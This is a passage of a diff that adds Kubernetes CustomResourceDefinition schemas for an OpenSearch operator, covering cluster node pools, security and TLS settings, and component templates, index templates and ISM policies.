^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + resource: + description: 'Required: resource to select' + type: string + required: + - resource + type: object + x-kubernetes-map-type: atomic + secretKeyRef: + description: Selects a key of a secret in the pod's + namespace + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: Specify whether the Secret or its + key must be defined + type: boolean + required: + - key + type: object + x-kubernetes-map-type: atomic + type: object + required: + - name + type: object + type: array + jvm: + type: string + labels: + additionalProperties: + type: string + type: object + nodeSelector: + additionalProperties: + type: string + type: object + pdb: + properties: + enable: + type: boolean + maxUnavailable: + anyOf: + - type: integer + - type: string + x-kubernetes-int-or-string: true + minAvailable: + anyOf: + - type: integer + - type: string + x-kubernetes-int-or-string: true + type: object + persistence: + description: PersistencConfig defines options for data persistence + properties: + emptyDir: + description: |- + Represents an empty directory for a pod. + Empty directory volumes support ownership management and SELinux relabeling. + properties: + medium: + description: |- + medium represents what type of storage medium should back this directory. + The default is "" which means to use the node's default medium. + Must be an empty string (default) or Memory. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + type: string + sizeLimit: + anyOf: + - type: integer + - type: string + description: |- + sizeLimit is the total amount of local storage required for this EmptyDir volume. + The size limit is also applicable for memory medium. + The maximum usage on memory medium EmptyDir would be the minimum value between + the SizeLimit specified here and the sum of memory limits of all containers in a pod. + The default is nil which means that the limit is undefined. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + type: object + hostPath: + description: |- + Represents a host path mapped into a pod. + Host path volumes do not support ownership management or SELinux relabeling. + properties: + path: + description: |- + path of the directory on the host. + If the path is a symlink, it will follow the link to the real path. + More info: https://kubernetes.io/docs/concepts/storage/volumes#hostpath + type: string + type: + description: |- + type for HostPath Volume + Defaults to "" + More info: https://kubernetes.io/docs/concepts/storage/volumes#hostpath + type: string + required: + - path + type: object + pvc: + properties: + accessModes: + items: + type: string + type: array + storageClass: + type: string + type: object + type: object + priorityClassName: + type: string + probes: + properties: + liveness: + properties: + failureThreshold: + format: int32 + type: integer + initialDelaySeconds: + format: int32 + type: integer + periodSeconds: + format: int32 + type: integer + successThreshold: + format: int32 + type: integer + timeoutSeconds: + format: int32 + type: integer + type: object + readiness: + properties: + failureThreshold: + format: int32 + type: integer + initialDelaySeconds: + format: int32 + type: integer + periodSeconds: + format: int32 + type: integer + timeoutSeconds: + format: int32 + type: integer + type: object + startup: + properties: + failureThreshold: + format: int32 + type: integer + initialDelaySeconds: + format: int32 + type: integer + periodSeconds: + format: int32 + type: integer + successThreshold: + format: int32 + type: integer + timeoutSeconds: + format: int32 + type: integer + type: object + type: object + replicas: + format: int32 + type: integer + resources: + description: ResourceRequirements describes the compute resource + requirements. + properties: + claims: + description: |- + Claims lists the names of resources, defined in spec.resourceClaims, + that are used by this container. + + This is an alpha field and requires enabling the + DynamicResourceAllocation feature gate. + + This field is immutable. It can only be set for containers. + items: + description: ResourceClaim references one entry in PodSpec.ResourceClaims. + properties: + name: + description: |- + Name must match the name of one entry in pod.spec.resourceClaims of + the Pod where this field is used. It makes that resource available + inside a container. + type: string + request: + description: |- + Request is the name chosen for a request in the referenced claim. + If empty, everything from the claim is made available, otherwise + only the result of this request. + type: string + required: + - name + type: object + type: array + x-kubernetes-list-map-keys: + - name + x-kubernetes-list-type: map + limits: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Limits describes the maximum amount of compute resources allowed. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + requests: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Requests describes the minimum amount of compute resources required. + If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, + otherwise to an implementation-defined value. Requests cannot exceed Limits. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + type: object + roles: + items: + type: string + type: array + tolerations: + items: + description: |- + The pod this Toleration is attached to tolerates any taint that matches + the triple using the matching operator . + properties: + effect: + description: |- + Effect indicates the taint effect to match. Empty means match all taint effects. + When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute. + type: string + key: + description: |- + Key is the taint key that the toleration applies to. Empty means match all taint keys. + If the key is empty, operator must be Exists; this combination means to match all values and all keys. + type: string + operator: + description: |- + Operator represents a key's relationship to the value. + Valid operators are Exists and Equal. Defaults to Equal. + Exists is equivalent to wildcard for value, so that a pod can + tolerate all taints of a particular category. + type: string + tolerationSeconds: + description: |- + TolerationSeconds represents the period of time the toleration (which must be + of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default, + it is not set, which means tolerate the taint forever (do not evict). Zero and + negative values will be treated as 0 (evict immediately) by the system. + format: int64 + type: integer + value: + description: |- + Value is the taint value the toleration matches to. + If the operator is Exists, the value should be empty, otherwise just a regular string. + type: string + type: object + type: array + topologySpreadConstraints: + items: + description: TopologySpreadConstraint specifies how to spread + matching pods among the given topology. + properties: + labelSelector: + description: |- + LabelSelector is used to find matching pods. + Pods that match this label selector are counted to determine the number of pods + in their corresponding topology domain. + properties: + matchExpressions: + description: matchExpressions is a list of label selector + requirements. The requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that the selector + applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select the pods over which + spreading will be calculated. The keys are used to lookup values from the + incoming pod labels, those key-value labels are ANDed with labelSelector + to select the group of existing pods over which spreading will be calculated + for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector. + MatchLabelKeys cannot be set when LabelSelector isn't set. + Keys that don't exist in the incoming pod labels will + be ignored. A null or empty list means only match against labelSelector. + + This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default). + items: + type: string + type: array + x-kubernetes-list-type: atomic + maxSkew: + description: |- + MaxSkew describes the degree to which pods may be unevenly distributed. + When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference + between the number of matching pods in the target topology and the global minimum. + The global minimum is the minimum number of matching pods in an eligible domain + or zero if the number of eligible domains is less than MinDomains. + For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same + labelSelector spread as 2/2/1: + In this case, the global minimum is 1. + | zone1 | zone2 | zone3 | + | P P | P P | P | + - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2; + scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2) + violate MaxSkew(1). + - if MaxSkew is 2, incoming pod can be scheduled onto any zone. + When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence + to topologies that satisfy it. + It's a required field. Default value is 1 and 0 is not allowed. + format: int32 + type: integer + minDomains: + description: |- + MinDomains indicates a minimum number of eligible domains. + When the number of eligible domains with matching topology keys is less than minDomains, + Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed. + And when the number of eligible domains with matching topology keys equals or greater than minDomains, + this value has no effect on scheduling. + As a result, when the number of eligible domains is less than minDomains, + scheduler won't schedule more than maxSkew Pods to those domains. + If value is nil, the constraint behaves as if MinDomains is equal to 1. + Valid values are integers greater than 0. + When value is not nil, WhenUnsatisfiable must be DoNotSchedule. + + For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same + labelSelector spread as 2/2/2: + | zone1 | zone2 | zone3 | + | P P | P P | P P | + The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0. + In this situation, new pod with the same labelSelector cannot be scheduled, + because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones, + it will violate MaxSkew. + format: int32 + type: integer + nodeAffinityPolicy: + description: |- + NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector + when calculating pod topology spread skew. Options are: + - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations. + - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations. + + If this value is nil, the behavior is equivalent to the Honor policy. + type: string + nodeTaintsPolicy: + description: |- + NodeTaintsPolicy indicates how we will treat node taints when calculating + pod topology spread skew. Options are: + - Honor: nodes without taints, along with tainted nodes for which the incoming pod + has a toleration, are included. + - Ignore: node taints are ignored. All nodes are included. + + If this value is nil, the behavior is equivalent to the Ignore policy. + type: string + topologyKey: + description: |- + TopologyKey is the key of node labels. Nodes that have a label with this key + and identical values are considered to be in the same topology. + We consider each as a "bucket", and try to put balanced number + of pods into each bucket. + We define a domain as a particular instance of a topology. + Also, we define an eligible domain as a domain whose nodes meet the requirements of + nodeAffinityPolicy and nodeTaintsPolicy. + e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology. + And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology. + It's a required field. + type: string + whenUnsatisfiable: + description: |- + WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy + the spread constraint. + - DoNotSchedule (default) tells the scheduler not to schedule it. + - ScheduleAnyway tells the scheduler to schedule the pod in any location, + but giving higher precedence to topologies that would help reduce the + skew. + A constraint is considered "Unsatisfiable" for an incoming pod + if and only if every possible node assignment for that pod would violate + "MaxSkew" on some topology. + For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same + labelSelector spread as 3/1/1: + | zone1 | zone2 | zone3 | + | P P P | P | P | + If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled + to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies + MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler + won't make it *more* imbalanced. + It's a required field. + type: string + required: + - maxSkew + - topologyKey + - whenUnsatisfiable + type: object + type: array + required: + - component + - replicas + - roles + type: object + type: array + security: + description: Security defines options for managing the opensearch-security + plugin + properties: + config: + properties: + adminCredentialsSecret: + description: Secret that contains fields username and password + to be used by the operator to access the opensearch cluster + for node draining. Must be set if custom securityconfig + is provided. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + adminSecret: + description: TLS Secret that contains a client certificate + (tls.key, tls.crt, ca.crt) with admin rights in the opensearch + cluster. Must be set if transport certificates are provided + by user and not generated + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + securityConfigSecret: + description: Secret that contains the differnt yml files of + the opensearch-security config (config.yml, internal_users.yml, + ...) + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + updateJob: + description: Specific configs for the SecurityConfig update + job + properties: + resources: + description: ResourceRequirements describes the compute + resource requirements. + properties: + claims: + description: |- + Claims lists the names of resources, defined in spec.resourceClaims, + that are used by this container. + + This is an alpha field and requires enabling the + DynamicResourceAllocation feature gate. + + This field is immutable. It can only be set for containers. + items: + description: ResourceClaim references one entry + in PodSpec.ResourceClaims. + properties: + name: + description: |- + Name must match the name of one entry in pod.spec.resourceClaims of + the Pod where this field is used. It makes that resource available + inside a container. + type: string + request: + description: |- + Request is the name chosen for a request in the referenced claim. + If empty, everything from the claim is made available, otherwise + only the result of this request. + type: string + required: + - name + type: object + type: array + x-kubernetes-list-map-keys: + - name + x-kubernetes-list-type: map + limits: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Limits describes the maximum amount of compute resources allowed. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + requests: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Requests describes the minimum amount of compute resources required. + If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, + otherwise to an implementation-defined value. Requests cannot exceed Limits. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + type: object + type: object + type: object + tls: + description: Configure tls usage for transport and http interface + properties: + http: + properties: + caSecret: + description: Optional, secret that contains the ca certificate + as ca.crt. If this and generate=true is set the existing + CA cert from that secret is used to generate the node + certs. In this case must contain ca.crt and ca.key fields + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + generate: + description: If set to true the operator will generate + a CA and certificates for the cluster to use, if false + secrets with existing certificates must be supplied + type: boolean + secret: + description: Optional, name of a TLS secret that contains + ca.crt, tls.key and tls.crt data. If ca.crt is in a + different secret provide it via the caSecret field + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: object + transport: + properties: + adminDn: + description: DNs of certificates that should have admin + access, mainly used for securityconfig updates via securityadmin.sh, + only used when existing certificates are provided + items: + type: string + type: array + caSecret: + description: Optional, secret that contains the ca certificate + as ca.crt. If this and generate=true is set the existing + CA cert from that secret is used to generate the node + certs. In this case must contain ca.crt and ca.key fields + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + generate: + description: If set to true the operator will generate + a CA and certificates for the cluster to use, if false + secrets with existing certificates must be supplied + type: boolean + nodesDn: + description: Allowed Certificate DNs for nodes, only used + when existing certificates are provided + items: + type: string + type: array + perNode: + description: Configure transport node certificate + type: boolean + secret: + description: Optional, name of a TLS secret that contains + ca.crt, tls.key and tls.crt data. If ca.crt is in a + different secret provide it via the caSecret field + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: object + type: object + type: object + required: + - nodePools + type: object + status: + description: ClusterStatus defines the observed state of Es + properties: + availableNodes: + description: AvailableNodes is the number of available instances. + format: int32 + type: integer + componentsStatus: + items: + properties: + component: + type: string + conditions: + items: + type: string + type: array + description: + type: string + status: + type: string + type: object + type: array + health: + description: OpenSearchHealth is the health of the cluster as returned + by the health API. + type: string + initialized: + type: boolean + phase: + description: |- + INSERT ADDITIONAL STATUS FIELD - define observed state of cluster + Important: Run "make" to regenerate code after modifying this file + type: string + version: + type: string + required: + - componentsStatus + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchcomponenttemplates.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchComponentTemplate + listKind: OpensearchComponentTemplateList + plural: opensearchcomponenttemplates + shortNames: + - opensearchcomponenttemplate + singular: opensearchcomponenttemplate + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchComponentTemplate is the schema for the OpenSearch + component templates API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + properties: + _meta: + description: Optional user metadata about the component template + x-kubernetes-preserve-unknown-fields: true + allowAutoCreate: + description: If true, then indices can be automatically created using + this template + type: boolean + name: + description: The name of the component template. Defaults to metadata.name + type: string + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + template: + description: The template that should be applied + properties: + aliases: + additionalProperties: + description: Describes the specs of an index alias + properties: + alias: + description: The name of the alias. + type: string + filter: + description: Query used to limit documents the alias can + access. + x-kubernetes-preserve-unknown-fields: true + index: + description: The name of the index that the alias points + to. + type: string + isWriteIndex: + description: If true, the index is the write index for the + alias + type: boolean + routing: + description: Value used to route indexing and search operations + to a specific shard. + type: string + type: object + description: Aliases to add + type: object + mappings: + description: Mapping for fields in the index + x-kubernetes-preserve-unknown-fields: true + settings: + description: Configuration options for the index + x-kubernetes-preserve-unknown-fields: true + type: object + version: + description: Version number used to manage the component template + externally + type: integer + required: + - opensearchCluster + - template + type: object + status: + properties: + componentTemplateName: + description: Name of the currently managed component template + type: string + existingComponentTemplate: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchindextemplates.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchIndexTemplate + listKind: OpensearchIndexTemplateList + plural: opensearchindextemplates + shortNames: + - opensearchindextemplate + singular: opensearchindextemplate + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchIndexTemplate is the schema for the OpenSearch index + templates API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + properties: + _meta: + description: Optional user metadata about the index template + x-kubernetes-preserve-unknown-fields: true + composedOf: + description: |- + An ordered list of component template names. Component templates are merged in the order specified, + meaning that the last component template specified has the highest precedence + items: + type: string + type: array + dataStream: + description: The dataStream config that should be applied + properties: + timestamp_field: + description: TimestampField for dataStream + properties: + name: + description: Name of the field that are used for the DataStream + type: string + required: + - name + type: object + type: object + indexPatterns: + description: Array of wildcard expressions used to match the names + of indices during creation + items: + type: string + type: array + name: + description: The name of the index template. Defaults to metadata.name + type: string + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + priority: + description: |- + Priority to determine index template precedence when a new data stream or index is created. + The index template with the highest priority is chosen + type: integer + template: + description: The template that should be applied + properties: + aliases: + additionalProperties: + description: Describes the specs of an index alias + properties: + alias: + description: The name of the alias. + type: string + filter: + description: Query used to limit documents the alias can + access. + x-kubernetes-preserve-unknown-fields: true + index: + description: The name of the index that the alias points + to. + type: string + isWriteIndex: + description: If true, the index is the write index for the + alias + type: boolean + routing: + description: Value used to route indexing and search operations + to a specific shard. + type: string + type: object + description: Aliases to add + type: object + mappings: + description: Mapping for fields in the index + x-kubernetes-preserve-unknown-fields: true + settings: + description: Configuration options for the index + x-kubernetes-preserve-unknown-fields: true + type: object + version: + description: Version number used to manage the component template + externally + type: integer + required: + - indexPatterns + - opensearchCluster + type: object + status: + properties: + existingIndexTemplate: + type: boolean + indexTemplateName: + description: Name of the currently managed index template + type: string + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchismpolicies.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpenSearchISMPolicy + listKind: OpenSearchISMPolicyList + plural: opensearchismpolicies + shortNames: + - ismp + - ismpolicy + singular: opensearchismpolicy + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: ISMPolicySpec is the specification for the ISM policy for + OS. + properties: + applyToExistingIndices: + description: If true, apply the policy to existing indices that match + the index patterns in the ISM template. + type: boolean + defaultState: + description: The default starting state for each index that uses this + policy. + type: string + description: + description: A human-readable description of the policy. + type: string + errorNotification: + properties: + channel: + type: string + destination: + description: The destination URL. + properties: + amazon: + properties: + url: + type: string + type: object + chime: + properties: + url: + type: string + type: object + customWebhook: + properties: + url: + type: string + type: object + slack: + properties: + url: + type: string + type: object + type: object + messageTemplate: + description: The text of the message + properties: + source: + type: string + type: object + type: object + ismTemplate: + description: Specify an ISM template pattern that matches the index + to apply the policy. + properties: + indexPatterns: + description: Index patterns on which this policy has to be applied + items: + type: string + type: array + priority: + description: Priority of the template, defaults to 0 + type: integer + required: + - indexPatterns + type: object + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + policyId: + type: string + states: + description: The states that you define in the policy. + items: + properties: + actions: + description: The actions to execute after entering a state. + items: + description: Actions are the steps that the policy sequentially + executes on entering a specific state. + properties: + alias: + properties: + actions: + description: Allocate the index to a node with a specified + attribute. + items: + properties: + add: + properties: + aliases: + description: The name of the alias. + items: + type: string + type: array + index: + description: The name of the index that + the alias points to. + type: string + isWriteIndex: + description: Specify the index that accepts + any write operations to the alias. + type: boolean + routing: + description: Limit search to an associated + shard value + type: string + type: object + remove: + properties: + aliases: + description: The name of the alias. + items: + type: string + type: array + index: + description: The name of the index that + the alias points to. + type: string + isWriteIndex: + description: Specify the index that accepts + any write operations to the alias. + type: boolean + routing: + description: Limit search to an associated + shard value + type: string + type: object + type: object + type: array + required: + - actions + type: object + allocation: + description: Allocate the index to a node with a specific + attribute set + properties: + exclude: + description: Allocate the index to a node with a specified + attribute. + type: string + include: + description: Allocate the index to a node with any + of the specified attributes. + type: string + require: + description: Don’t allocate the index to a node with + any of the specified attributes. + type: string + waitFor: + description: Wait for the policy to execute before + allocating the index to a node with a specified + attribute. + type: string + required: + - exclude + - include + - require + - waitFor + type: object + close: + description: Closes the managed index. + type: object + delete: + description: Deletes a managed index. + type: object + forceMerge: + description: Reduces the number of Lucene segments by + merging the segments of individual shards. + properties: + maxNumSegments: + description: The number of segments to reduce the + shard to. + format: int64 + type: integer + required: + - maxNumSegments + type: object + indexPriority: + description: Set the priority for the index in a specific + state. + properties: + priority: + description: The priority for the index as soon as + it enters a state. + format: int64 + type: integer + required: + - priority + type: object + notification: + description: Name string `json:"name,omitempty"` + properties: + destination: + type: string + messageTemplate: + properties: + source: + type: string + type: object + required: + - destination + - messageTemplate + type: object + open: + description: Opens a managed index. + type: object + readOnly: + description: Sets a managed index to be read only. + type: object + readWrite: + description: Sets a managed index to be writeable. + type: object + replicaCount: + description: Sets the number of replicas to assign to + an index. + properties: + numberOfReplicas: + format: int64 + type: integer + required: + - numberOfReplicas + type: object + retry: + description: The retry configuration for the action. + properties: + backoff: + description: The backoff policy type to use when retrying. + type: string + count: + description: The number of retry counts. + format: int64 + type: integer + delay: + description: The time to wait between retries. + type: string + required: + - count + type: object + rollover: + description: Rolls an alias over to a new index when the + managed index meets one of the rollover conditions. + properties: + minDocCount: + description: The minimum number of documents required + to roll over the index. + format: int64 + type: integer + minIndexAge: + description: The minimum age required to roll over + the index. + type: string + minPrimaryShardSize: + description: The minimum storage size of a single + primary shard required to roll over the index. + type: string + minSize: + description: The minimum size of the total primary + shard storage (not counting replicas) required to + roll over the index. + type: string + type: object + rollup: + description: Periodically reduce data granularity by rolling + up old data into summarized indexes. + type: object + shrink: + description: Allows you to reduce the number of primary + shards in your indexes + properties: + forceUnsafe: + description: If true, executes the shrink action even + if there are no replicas. + type: boolean + maxShardSize: + description: The maximum size in bytes of a shard + for the target index. + type: string + numNewShards: + description: The maximum number of primary shards + in the shrunken index. + type: integer + percentageOfSourceShards: + description: Percentage of the number of original + primary shards to shrink. + format: int64 + type: integer + targetIndexNameTemplate: + description: The name of the shrunken index. + type: string + type: object + snapshot: + description: Back up your cluster’s indexes and state + properties: + repository: + description: The repository name that you register + through the native snapshot API operations. + type: string + snapshot: + description: The name of the snapshot. + type: string + required: + - repository + - snapshot + type: object + timeout: + description: The timeout period for the action. Accepts + time units for minutes, hours, and days. + type: string + type: object + type: array + name: + description: The name of the state. + type: string + transitions: + description: The next states and the conditions required to + transition to those states. If no transitions exist, the policy + assumes that it’s complete and can now stop managing the index + items: + properties: + conditions: + description: conditions for the transition. + properties: + cron: + description: The cron job that triggers the transition + if no other transition happens first. + properties: + cron: + description: A wrapper for the cron job that triggers + the transition if no other transition happens + first. This wrapper is here to adhere to the + OpenSearch API. + properties: + expression: + description: The cron expression that triggers + the transition. + type: string + timezone: + description: The timezone that triggers the + transition. + type: string + required: + - expression + - timezone + type: object + required: + - cron + type: object + minDocCount: + description: The minimum document count of the index + required to transition. + format: int64 + type: integer + minIndexAge: + description: The minimum age of the index required + to transition. + type: string + minRolloverAge: + description: The minimum age required after a rollover + has occurred to transition to the next state. + type: string + minSize: + description: The minimum size of the total primary + shard storage (not counting replicas) required to + transition. + type: string + type: object + stateName: + description: The name of the state to transition to if + the conditions are met. + type: string + required: + - conditions + - stateName + type: object + type: array + required: + - actions + - name + type: object + type: array + required: + - defaultState + - description + - states + type: object + status: + description: OpensearchISMPolicyStatus defines the observed state of OpensearchISMPolicy + properties: + existingISMPolicy: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + policyId: + type: string + reason: + type: string + state: + type: string + type: object 